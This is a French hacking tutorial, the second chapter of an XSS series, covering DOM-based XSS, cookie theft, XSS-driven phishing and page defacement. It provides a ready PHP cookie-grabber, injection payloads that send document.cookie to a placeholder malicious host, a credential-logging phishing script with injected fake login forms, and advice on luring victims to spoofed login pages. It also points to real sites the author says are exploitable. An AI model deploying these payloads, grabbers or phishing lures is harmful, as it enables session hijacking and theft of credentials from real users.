Cher amis Bonjour,
Nous avons pu voir dans le premier chapitre traitant de la faille XSS comment elle se comporter et surtout qu'il n'était pas si facile que ça à mettre en œuvre des 2 côtés. Par 2 côtés j'entends l'attaquant et le défendant. Pourquoi cela ? Car si la faille en elle-même est facilement sécurisable, la faille XSS peut prendre beaucoup d'autres formes afin de contourner le système de filtrage.
A partir du moment où l'on utilise un système http d'envoie GET ou POST en relation direct avec le terminal du client on peut s'attendre à ce que l'attaquant cherche à poser son script.
Nous verrons bien entendu mais ce sera dans le chapitre III les possibilités afin de complètement sécurisé un système de cette faille mais on verra aussi que la tâche est ardue et le risque 0 N'existe pas d'où sa terrible efficacité.
Je vais par conséquent aborder en premier un récapitulatif de la faille XSS, suivis DOM basée Cross Site Scripting (XSS), nous verrons ensuite quelques attaques et leur effet afin de comprendre comment se comporte une attaque XSS avancé de 2014 et pas de 2000 puis Attaque XSS: Steal cookie, clickjacking, auto xss, Hijacking, phishing, Déface, Redirection URL, modification de la BDD.
Le Top 10 Délivré en 2014 des Failles par d'après OWASP :
https://www.owasp.org/index.php/Cate...op_Ten_Project
Pour ma part j'ai retenus celle qui à mon avis permettait les meilleurs résultats en 2014.
En 2007 XSS déjà placé 4eme par OWASP et essencé par Pierre Gardenat chargé de mission SSI :
"XSS, qui apparaissait il y a quelques années comme la «vulnérabilité du pauvre» devenu aujourd'hui un vecteur de menaces particulièrement redoutable, qui mérite sa première place au classement."
Sur ces mots je vous convie à lire mon exposé sur cette Faille. Je ne généralise pas tout mes exposés sur ces question de hacking mais je tiens à dire qu'il m'est difficile de pouvoir contenir tout ce que j'ai pu apprendre en quelques PDF et qu'il peut s'avérer que je dérive ou m'exprime mal. En effet, j'ai toujours appris seul dans mon coin ou avec mes potes de HackeurVoiz mais bon ils sont à 5mn de chez moi les fondateurs de ce mouvement et on a l'apéro facile. D'ailleurs petite Dédicace à Nico et Piconbier qui ne rate jamais la session Eurodisney (on se demande s'ils vont plus pour les manèges que pour les conférences) et qui bosse toujours dans la sécurité informatique certains encore à leur compte. Merci à eux qui m'ont fortement influencé à apprendre la sécurité.
Notre rencontre autour des fameux pains au chocolat au beurre restera mémorable ^^. Dédicace aussi à leur épouse qui supporte ces fadas de PC qui en bouffe des heures et des heures même pendant leurs vacances.
Voila j'ai tout dit si ce n'est aussi dédicace à mes potos Hells-Angels, et Hell-Fire avec qui j'ai gardé le contact pour discuter de la vieille époque.
Voila sur ceux on est partis pour le chapitre II avec le Sommaire.
SOMMAIRE
I Dom XSS
II Steal Cookie
III Phishing XSS
IV Modification page Web
V Conclusion
Petit Rappel:
Nous avions vu dans le chapitre précédent comment s'écrivais une injection XSS et comment elle se comporte. On a vu que cette faille étais lié essentiellement aux technologies du web : Html, JavaScript, Flash, …bref tout langage connus par le navigateur. Oui puisqu'en effet l'attaque vise à exploiter les descripteurs HTML et le JavaScript.
On a pu voir également qu'il existait 2 types de failles : persistante et non-persistante.La première moins intéressante car elle demande plus de stratégie afin d'utiliser l'injection car elle n'est que temporaire et sujette aux scripts en lui-même. La seconde est plus dangereuse car elle reste et s'inscrit sur la BDD, donc on va pouvoir soit interférer avec des parties du site et amener quelqu'un à visiter un lien compromis sera plus facile. On pourra récupérer les cookies, stealer les id, injecter un malwares voire même un bon Ddos en bouclant la requête. Vous voyez et sans énuméré tout son potentiel on se rend compte déjà que pour le n°4 il n'est pas si mal comme faille.
On pourrait par exemple utiliser cette faille sur un poste, un profil tiens sur le calendar de VBulletin 4.2 on pouvait compromettre une fois inscrit en laissant un com. dessus. Chaque personne qui allais mater le calendar se taper l'injection, ensuite bien utilisé on redirige vers notre scripte malveillant héberger ailleurs qui va soutirer les informations qui nous intéressent.
Exploit XSS VB 4.2
Description de la vulnérabilité : Pour voler cookie de l'administrateur ou d'un membre d'un forum ou d'un lecteur pour les sites malveillants, l'attaquant devra tout d'abord créer un compte, puis venir à la section calendrier, et créer un événement pour lui-même. Dans le titre, il mettra le code XSS. Par exemple: ' ><img src x onerror alert(1)> Dans section du contenu, il va écrire tout ce qu'il veut. Maintenant, il va envoyer son profil à l'administrateur ou membre et attendre le retour cookie de la victime.
On est bien dans notre domaine la ! Bon ca été fixé depuis mais vous auriez vu les dégâts quand l'exploit est sortie.
Ce que je veux vous démontrez avant de rentré dans le vif du sujet : les attaques c'est que ça fonctionne. SQL aussi attention mais bon ca deviens plus rare ou alors des sites en carton fait par des développeurs du dimanche.
Well well well !! On est bien tout le monde est beau et gentil et sur ceux passons au chapitre I.
##################################################################################
I Dom XSS
##################################################################################
XSS et l'API DOM une liaison dangereuse:I Dom XSS
##################################################################################
Qu'est ce que l'API DOM ?
Dom (Document Object Model) est un parseur, il permet de lire les feuille XML ou HTML et même de réécrire totalement cette page, détourner son usage : redirection de l'internaute, vol de session ou de données d'authentification, émission de requêtes à l'insu de l'internaute, etc.
En effet votre site n'est pas fait que de PHP, il est aussi basé sur du HTML, CSS et ce qui nous intéresse du JavaScript qui permet le POO.
Voici l'arbre d'une feuille de base HTML :
Naviguer dans le document
La structure DOM Comme il a été dit précédemment, le DOM pose comme concept que la page Web est vue comme un arbre, comme une hiérarchie d'éléments. On peut donc schématiser une page Web simple comme ceci :
Voici le code source de la page :
Code HTML:
<!doctype html> <html> <head> <meta charset="utf-8" /> <title>Le titre de la page</title> </head> <body> <div> <p>Un peu de texte <a>et un lien</a></p> </div> </body> </html>
Code HTML:
<Html> <Head> </ Head> <Body> <Script> var pos = document.URL.indexOf ("q =") + 9; // trouve la position de la valeur Var UserInput=document.URL.substring (pos, document.URL.length); // Copier la valeur dans la variable UserInput document.write (unescape (UserInput)); // écrit le contenu de la page Web </ Script> </ Body> </ Html>
Comme on peut le voir notre url n'est pas réécris par le serveur ce n'est pas PHP qui agis mais du JavaScript donc c'est le navigateur du client qui agis sur l'url. On peut considérer qu'un tel type de faille permet de manipuler l'url et éventuellement ce qui en résulte.
Le modèle d'objet de document (plus communément appelé le DOM) est un fondamental navigateur web concept. C'est une API pour interagir avec des objets dans des documents HTML ou XML documents. Le DOM fournit une méthode de langages de script pour interagir avec le moteur de rendu en fournissant des références aux éléments HTML sous la forme d'objets. Le DOM est efficace conjuguée avec JavaScript (ou d'autres langages de script). Il a été créé afin de permettre à une méthode définie de l'accès aux documents, tels que les scripts qui s'exécutent dans le navigateur peut lire et/ou écrire de façon dynamique. Cela a permis à la page de se modifier sans faire de nouvelles demandes au serveur web et sans la nécessité d'interaction de l'utilisateur.
Donc ce type de faille plus subtile que le XSS classique qui ne touche que les pages dynamiques le dom XSS touche les pages dynamiques et statiques.
Référencement et l'utilisation inappropriées dans le code côté client, des objets DOM qui ne sont pas entièrement contrôlés et vérifiés par les pages HTML générées par le serveur provoque une faille souvent minime mais exploitable par l'attaquant.
Nous allons voir en détail ensemble la nature d'une attaque Dom dans ce chapitre suivant ainsi que plusieurs alternatives détaillés. Sachez que l'on ne pourra pas pour chaque type d'XSS voir toutes les possibilités après c'est à vous de vous adapter. C'est la que le génie du hackeur fait la différence lorsqu'il sait adapter son attaque voire même inventer une nouvelle technique ou exploit afin de percer le système.
Attaque Dom XSS
Chaque fois qu'un script est exécuté côté client, le navigateur fournit le code avec le DOM de la page HTML où le script est exécuté, ainsi, offrant un accès à diverses propriétés de la page et leurs valeurs, peuplées par le navigateur de son point de vue.
DOM XSS est un type de cross site Scripting attaque qui repose sur une mauvaise manipulation, dans la page HTML, des données à partir de son DOM associé. Parmi les objets dans les DOM, il existe plusieurs que l'attaquant peut manipuler afin de générer la condition XSS, et le plus populaire, de ce point de vue, sont les objets document.URL, document. Location et document.referrer.
En fait lorsque le système utilise JavaScript pour écrire une partie du Dom en chargeant la page comme par exemple pour créé un tableau ou changer la terminaison de l'url tout comme un URI le ferais avec un hyperlien pour changer de page ou inscrire le pseudo de l'user en fin de page, on pourrais avoir des prémices de DOM XSS de manipulations de ce code par le biais d'injection XSS.
Cela ne parait pas clair ainsi mais avec des exemples vous devriez comprendre la nuance.
Prenez ce code copier/coller le sur votre bloc note et nommez le PageDomXss.html.
Code HTML:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <HTML> <head> <TITLE>Dom XSS</TITLE> <script type="text/javascript" src="http://stats.hosting24.com/count.php"></script> </head> <h1><div style="text-align: center; border-width:4px; border-style:dotted; border-color:blue;background-image:url(http://www.moving-wallpapers.com/wp-content/uploads/2014/05/Moving-Background-GIF.gif);"> <span style="color: #f3f3f3; font-family:serif;"><h1>Dr<span style="color: Red; font-family:serif;">3<span style="color: #f3f3f3; font-family:serif;">AmuS<span style="color: Black; font-family:serif;">Tutoriel</span></a></div></div></div> <div class="separator" style="clear: both; text-align: center;"></br> <a href="http://1.bp.blogspot.com/-PmRtsjxRTTo/VCXbJmr_-OI/AAAAAAAABF0/lisAOgigqfc/s1600/Xss-virus.jpg" imageanchor="1" style="margin-left: 1em;margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-PmRtsjxRTTo/VCXbJmr_-OI/AAAAAAAABF0/lisAOgigqfc/s1600/Xss-virus.jpg" style="border-width:4px; border-style:groove ; border-color:black;" /></a></div> <center> <p>-----------------------------------------------------------------------------------------------------------------------</p> <body bgcolor="brown" <h1>Hello..le code javascript affiche le chemin ~ <script> var pos=document.URL.indexOf("name=")+5; var userInput=document.URL.substring(pos,document.URL.length); document.write(unescape(userInput)); </script> <p>-----------------------------------------------------------------------------------------------------------------------</p> </center> </h1> <br> <center> <h2> <b> Cette page est faillible au Dom XSS</h2> <div style="text-align: center;"> <a href="">Liens Vers Le Pdf</a> </div> </body> </HTML>
Par exemple, si un morceau de JavaScript accède à un paramètre de requête d'URL et écrit certains HTML dans sa propre page, à l'aide de cette information qui n'est pas codée à l'aide des entités HTML, un trou XSS éventuellement sera présent, puisque ces données écrites seront réinterprétées par les navigateurs comme HTML qui pourrait inclure le script côté client supplémentaire
Parfois l'on peut dériver sur une attaque XSS simplement pour nous donner des informations sur le Path du site où autres. Ce n'est pas forcément majeure mais il est certains que créé un bug Error est un plus pour éventuellement pivoter vers une nouvelle tournure de l'attaque ou faille.
Exemple: sur un site une injection XSS m'a permis de récupérer un numéro de session ce qui a donner sur une autre page :
http://www.kilohotel.com/rv8/phplink...9b01b40e0849c5
Le résultat :
Le message d'erreur peut divulguer des informations sensibles et cette information peuvent être utilisés par un attaquant pour monter de nouvelles attaques ou pour agrandir la surface d'attaque. Source code, trace de la pile, etc. données peuvent être divulguées.
J'ai pu avoir grâce à ce chemin des fichiers et les télécharger, bon rien de compromettant, mais c'est cela aussi hacker ce n'est pas resté cantonner à la faille mais aussi aux possibilités ultérieurs à la faille comme des renseignements pour préparer une nouvelle attaque sous un angle différent.
Après étude du site, il y avait la possibilité d'un clickjacking sur un lien et un mail me permettant de l'envoyer à l'Admin afin de grabber les cookies. Je ne suis pas allé plus loin. Pourquoi ? Car plus on va loin dans le hacking plus on peut avoir un jour la gendarmerie devant le pied de sa porte. Chacun ses choix. Ce que j'essais à chaque fois de vous montrer c'est que hacker c'est no limite si on a pas de scrupule et l'interaction avec chaque technique peut amener souvent à la résolution des problèmes épineux d'intrusion jugé difficile.
Voici une autre url qui va boucler le site: http://www.net-sleuth.com/index.php?...;%3C/script%3E
Bon avant de continuer je vous donne ce script simple où 2 failles XSS sont présentes:
Code HTML:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta name="description" http-equiv="Content-Type" content="tex/html ;charset=utf-8"> <meta name="auteur" content="DreAmuS"> <title>XSS</title> </head> <!--script faille XSS by DreAmuS --> <body bgcolor="#FFFFE8" topmargin="5"> <h1>Vulnérabilité : DOM XSS</h1> <!-- Page Soumis à une faille DOM XSS --> <select> <script> document.write("<OPTION value=1>"+document.location.href.substring (document.location.href.indexOf("default=")+8)+"</OPTION>"); document.write("<OPTION value=2>English</OPTION>"); </script> </select> <div style="color=blue;"> <h1>Vulnerabilité: Reflected Cross Site Scripting (XSS)</h1> <!-- Formulaire --> <div> <?php if (isset($_POST['nom'])) { echo $_POST['nom'] ; } else{ echo 'pas de nom inscrit'; } ?> <br/> <form action="" method="POST"> <p>Quel est votre nom ?</p> <input type="text" name="nom" /> <input type="submit" value="Valider" /> </form> </div> </div> <p style="float:right;"><img src="http://www.tux-planet.fr/public/images/schemas/keylogger-javascript.gif" width="50%" height="50%" alt="image prise sur le net"></p> <br /><br /><br /> <div align="right" size="20"> <a href="" onclick="alert('Recherchez LaFaille XSS en Lisant le Code Source');" title="Retourner en Haut"><i>Help !!!</i></a> <a href="" onclick="alert('Il y a 2 failles sur cette page');" title="Retourner en Haut"><i>Help 2 !!!</i></a> </div> </body> </html>
Pour le remettre à l'endroit copier le ici : http://www.dcode.fr/ecriture-a-l-envers
On a enfin compris ce qu'étais DOM XSS et surtout comment elle agissait au sein d'une page statique autant que dynamique.
Nous pouvons en conclure qu'il existe 3 types d'attaque XSS :
-Reflected XSS
-Stored XSS
-Dom XSS
Arachni0.4.0.2
Plusieurs techniques de découverte des DOM-based XSS
>Analyse de code source statique
>Analyse dynamique via moteur JavaScript
W3af utilise une autre technique pour découvrir les DOM XSS:
>Recherche des points d’entrée (sources)
>Recherche des points de sortie (sinks)
>Identification dans le code source de la présence des ces sources et sinks
Afin de comprendre comment les vulnérabilités XSS basées sur DOM fonctionnent, il faut d'abord comprendre la différence entre les sources et les puits.
La source est la propriété qui est lue à partir du DOM. Il s'agit de la propriété où un script peut être injecté pour exploiter une vulnérabilité XSS DOM. Les sources énumérées ci-dessous sont parmi quelques-unes des propriétés DOM qui sont les plus couramment exploitées pour XSS base-DOM.
Source - https://code.google.com/p/domxsswiki/wiki/Sources
D'autre part sont les points dans le flux de données à laquelle l'entrée non fiable se émis en sortie sur la page ou exécuté par JavaScript dans la page. Ce qui suit est une liste des puits communs où XSS basé DOM-up se termine en cours d'exécution.
Remarque - window.location ou document.location et ses propriétés peuvent être à la fois une source et un puits.
Nous allons maintenant voire dans cette 2eme partie l'utilisation de la faille XSS afin de récupérer des cookies.
##################################################################################
II Steal Cookies
##################################################################################
II Steal Cookies
##################################################################################
Maintenant que nous connaissons Les différentes failles XSS, nous allons pouvoir commencer à nous intéresser à ce que nous pouvons faire avec. Il est clair que juste mettre une boite avec "Attention XSS" ça ne sert à rien. C'est une faille qui ne va pas nous permettre d'aller bien loi.
Mais si oui si on peut proposer des scripts XSS plus avancés alors nous allons pouvoir déterminer plusieurs types d'attaque qui vont être un peu compliqué à mettre en œuvre mais seront sacrément efficace.
Pour Réussir le vol de cookie il faut déjà un peu de préparation. Il nous faut un script grabber à cookie : Cookie.php
Suis sympas je vous file un script :
Code PHP:
<?php
$collectedCookie=$HTTP_GET_VARS["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('cookie.txt','a');
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
echo '<b>Désolé, cette page est en construction</b></br></br> S'il vous plaît Cliquez <a
href="http://www.google.com/"> ici </a> pour revenir à la page précédente ';
?>
$collectedCookie=$HTTP_GET_VARS["cookie"];
Dans cette ligne nous allons stocker les données dans une variable GET appelée cookie ensuite l'appelé collectedCookie.
$date=date("l ds of F Y h:i:s A");
Ici nous stockons la date de la connexion, il nous dit quand ces cookies ont été volés.
$user_agent=$_SERVER['HTTP_USER_AGENT'];
Ici nous stockons les user_agent de la victime pour de nouvelles attaques si elle a besoin.
$file=fopen('stolen_cookie.txt','a');
Ici nous créons un fichier appelé stolen_cookie.txt qui a l'information de cookie de la victime.
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$collectedCookie \n");
Ici nous enregistrer les données dans ce format (“DATE: || USER AGENT || COOKIE”)
fclose($file);
On ferme le descripteur de fichier.
echo '<b>Désolé, cette page est en construction</b></br></br> S'il vous plaît Cliquez <a
href="http://www.google.com/"> ici </a> pour revenir à la page précédente ';
Ici nous imprimons un message sur l'écran ("Désolé, cette page est en construction") donnez-lui un lien pour y cliquer qui l'envoient à google.
Alors nous allons le transférer à une société d'hébergement web, après nous allons injecter un script java code qui va envoyer les cookies à notre site Web malveillant. Lorsque le fichier cookie.php recevra les informations de Cookie, il va l'enregistrer dans un fichier appelé cookie.txt.
Voyons ensemble 2 manières d'envoyer le script. Voici le code JavaScript que nous allons injecter dans le serveur de la victime ou d'un navigateur:
1er code:
Code:
<a onclick="document.location='http://[URL_Malveillante]/ cookie.php? cookie='+escape(document.cookie);" href="#">Click for details Bug Error</a>
Tenez un cheptel de site qui raccourcit l'url.
Services pour raccourcir une url:
http://shar.as/
http://g00.me/
http://ppt.li
http://lc.cx
http://bit.ly
2eme code:
Code:
<iframe width='0' height='0' frameborder='0' src='<script>document.location='http://[url_malveillante]/ cookie.php? cookie='+escape(document.cookie);</script>' />
Conclusion:
Pour voler les cookies, nous avons besoin de certaines conditions:
• Un script PHP qui va recevoir le cookie
• le code JavaScript qui vole le cookie et l'envoie à notre site malveillant
• une société d'hébergement Web qui accueillera notre fichier PHP
Nous avons aussi le classique :
Code:
<script>document.location ="http://[Url_Malveillante]/[path]/cookie.php?cookie=" + document.cookie;</script>
##################################################################################
III Phishing
##################################################################################
On a remarqué que la redirection d'url via une injection de code XSS peut nous amener à proposer d'autres techniques comme par exemple le phishing.
Le phishing est une technique de hacking qui consiste à imiter un site en utilisant sa page d'accueil et un login truqué qui va nous copier les ID de la victime. Par conséquent pensant se loguer à son site il va en fait transmettre les informations via notre fausse boite de Login.
Le but étant d'utiliser la redirection XSS afin que la victime ne se rende compte de rien. Bien évidement si l'on doit envoyer une url avec redirection, il sera difficile de faire admettre cette url d'où la nécessité de la travailler avant.
C'est clair que l'on ne pourra pas envoyer n'importe quoi et penser que la victime va gober sans broncher. Notre redirection qui sera dans l'url devra avoir l'aspect le plus discret possible ou alors être très persuasif.
1) Xss Redirect Phishing
Prenons une faille XSS comme celle-ci:
http://www.siteVictime.com/index.php?search=[xss]
Bon on dira qu'elle est exploitable je ne vais pas énumérer à chaque fois les techniques d'investigations XSS pour ma part à partir de maintenant c'est un acquis. Bien prenons notre injection et procédons à l'élaboration du script qui va ouvrir vers notre page phishing.
Code:
"'><script>document.location.href="http://phishingURL"</script>
Exemple d'encodage :
http://www.siteVictime.com/index.php...ocation.href=" http://www.google.com "</script>
On pourra aussi réduire l'url à partir des sites que je vous ai donnés auparavant afin de la faire mieux passer. Mais bon ce n'est pas concluant.
Petite Astuce de pro: (Hors sujet avec XSS)
Je vous file une astuce tout simple, qui aura un peu plus de chance de marcher. La redirection url doit être secondée. Je m'entends par la que vous allez une fois votre site héberger lui attribuer une redirection naturel genre avec Azote : http://www.azote.org/index.html
Ensuite vous n'aurez plus qu'à l'envoyer à la victime. On sort du contexte XSS mais vu que l'on parle Phishing je pense que c'étais un bonus. Sur azote vous aurez par exemple:
Site visé: http://victime.fr/login.php
Site Fake: http://victime.fr.cr/login.php
Vous approchez la victime et pendant quelques temps vous lui adressez des emails en prétextant des soucis sur des postes ou autre et lui envoyer de liens.
http://victime.fr/post?=125 Bon et j'en passe pour le rassurer dans un premier temps. Puis un de ces 4 matins vous lui envoyer l'url piégé et hop phishing boy c'est vous.
2) Xss Html inject Phishing
Injecter de l'Html Xss consiste à injecter un code d'une page de fake login dans l'url pour faire une page de phishing.
Ex: Si le site Web contient une vuln persistante Xss, par exemple sur un livre d'or, écrire le code pour envoyer tous les utilisateurs qui visiteront le livre d'or vers la page de phishing et peut-être se connecter dessus.
Code:
http://SiteVictime.com/index.php?q="'><html><head><meta content="text/html; charset=ISO-8859-1"http-equiv="content-type" /><title></title></head><body><div style="text-align: center;"><form Method="POST" Action="phishing.php" Name="form">Phishingpage :<br /><br />Login :<br /> <input name="login" /><br />Password :<br /> <input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok !" type="submit" /><br /></form></div></body></html>
C'est clair que tel quel SOS on le voie à 100KM
Phishing.php :
Code PHP:
<?php
$login = $_POST['login'];
$password = $_POST['Password'];
$open = fopen('log.htm', 'a+');
fputs($open, 'Login : ' . $login . '<br >' . '
Password : ' . $password . '<br >' . '<br >');
?>
Attaque XSS: Steal cookie, clickjacking, auto xss, phishing, Déface, Redirection URL, modification de la BDD.
3) Iframe Phishing
Le phishing iframe est comme la redirection XSS phishing et html en une seule : c'est une redirection en iframe sur le site web.
Code:
http://www.siteVictime.com/index.php?search="'><iframe src=http://google.Com height="300" width="800"></iframe>
##################################################################################
IV Modification de page Web
##################################################################################
Nous avons pu apprendre qu'avec du code JavaScript en exploitant une faille XSS, on pouvait :IV Modification de page Web
##################################################################################
Changer l'URL de la page et donc ses referrer.
Ex: window.location.replace("http://URL/");
Changer les composantes de l'URL
Mais on peut également exploiter la page en elle-même et avec du code XSS avancé on pourra: Changer le contenu d'une page, Déface cette page, modifier les images de cette page, rajouter un contenu clickjacking,…
document.write(location.pathname)
location.href = "url"
Prenons par exemple:
Code HTML:
<div class="alert alert-error"> <div align="center"> <b>Modification HTML</b> </div> </div> <h1 align="center">Bienvenue !</h1> <h2></h2><h2></h2> <form class="form-signin"> <h2 class="form-signin-heading">Modifie moi!</h2> <input type="text" value="" class="input-block-level" name="url"> <button class="btn btn-large btn-primary" type="submit">Envoyer</button> </form> <h2></h2>
Code:
<script>window.onload=function(){document.getElementsByTagName('h1')[0].innerHTML="bienvenue!";document.getElementsByTagName('h2')[2].innerHTML="Modified You"}</script>
window.onload : on charge sur le navigateur pour mettre la fonction en œuvre.
document.getElementsByTagName : l'objet Element permet de récupérer les éléments par rapport à leur nom dans un élément.
Ici on récupère dans h1 et h2 les éléments "Bienvenue !" et "Modifie moi !"
On concatène avec .innerHTML qui permet de changer le contenu par la valeur que l'on assigne juste après.
Vous voyez la connaissance de JavaScript est un plus afin de permettre de produire des scripts plus efficace.
Je n'ai pas pu tout entrevoir dans ce chapitre car parler du XSS serais sans fin au niveau des attaques tant elles sont différentes suivant les situations.
##################################################################################
V Conclusion
##################################################################################
Par conséquent nous avons pu voir que la faille XSS touche plus de 80% des sites. Par contre, on dira que 25 à 30 % sont vraiment exploitable et dangereux mais cela laisse envisager l'engouement sur cette faille et ses possibilités.V Conclusion
##################################################################################
Je n'ai pas traité profondément le Hijacking et le clickjacking que je ferais dans la partie III de mon exposé sur le XSS. Injection d’un Keylogger par XSS
Travail sur un script proxy en python pour exploiter la faille XSS en sniffant le réseau. Nous verrons comment se mettre en MIT à partir d'une session pour contrôler le browser d'une victime via injection XSS au départ. Tout ceci nous permettra de découvrir un proxy que je vous dévoilerais la prochaine fois codé en python et qui si peu connus fait des ravages.
Nous verrons aussi comment utiliser les cookies récupéré par le stealing cookie de ce chapitre.
Je finaliserais cette aventure dans le XSS par les sécurités contre XSS et une introduction sur d'autres failles: CRF, XXE, RFI, LFI, RCE, OS commanding injection avec des fonctions comme system(),exec(),shell_exec() et SOAP.
Je ferais l'impasse sur des failles plutôt obsolètes genre include et je ferais un tutoriel sur la faille SQL Avancé avec les dernières mises en œuvre possible et son avenir.
J'espère que cela vous a plu alors n'hésiter pas à partagez mes connaissances.
Liste de site utile :
http://www.domxssscanner.com/
https://code.google.com/p/dominator/...onInstructions
http://www.java2s.com/Code/JavaScrip...tReference.htm
http://kotowicz.net/absolute/
https://code.google.com/p/ra2-dom-xs...downloads/list
http://w3af.org/download
http://webscantest.com
https://github.com/yaph/domxssscanner
http://crypo.dp.ua/
Voila Merci de me suivre et à bientôt pour la suite.
Voici le lien de mon PDF: http://www.mediafire.com/view/p9hb1u...g-PartieII.pdf
Commentaire